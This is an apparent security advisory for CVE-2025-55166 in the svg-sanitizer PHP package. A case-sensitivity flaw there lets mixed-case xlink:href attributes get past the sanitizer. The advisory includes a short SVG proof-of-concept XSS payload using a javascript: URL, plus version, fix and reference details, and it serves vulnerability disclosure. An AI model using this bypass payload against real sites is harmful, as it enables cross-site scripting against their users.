CVE-2025-55166
svg-sanitizer Bypasses Attribute Sanitization
Impact
#### Problem The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains. #### Proof-of-concept _provided by azizk_ ``` <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:hReF="javascript:alert(document.domain)"> <rect width="100" height="50" fill="red"></rect> <text x="50" y="30" text-anchor="middle" fill="white">Click me</text> </a> </svg> ``` #### Credits The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| composer | enshrined/svg-sanitize | < 0.22.0 | 0.22.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/darylldoyle/svg-sanitizer/commit/5a0a1eaf0c6b0b540dc945fe30c93cf106b357c1
- https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-22wq-q86m-83fh
- https://github.com/advisories/GHSA-22wq-q86m-83fh
- https://nvd.nist.gov/vuln/detail/CVE-2025-55166
- https://github.com/darylldoyle/svg-sanitizer/commit/0afa95ea74be155a7bcd6c6fb60c276c39984500
- https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481
- https://github.com/darylldoyle/svg-sanitizer/releases/tag/0.22.0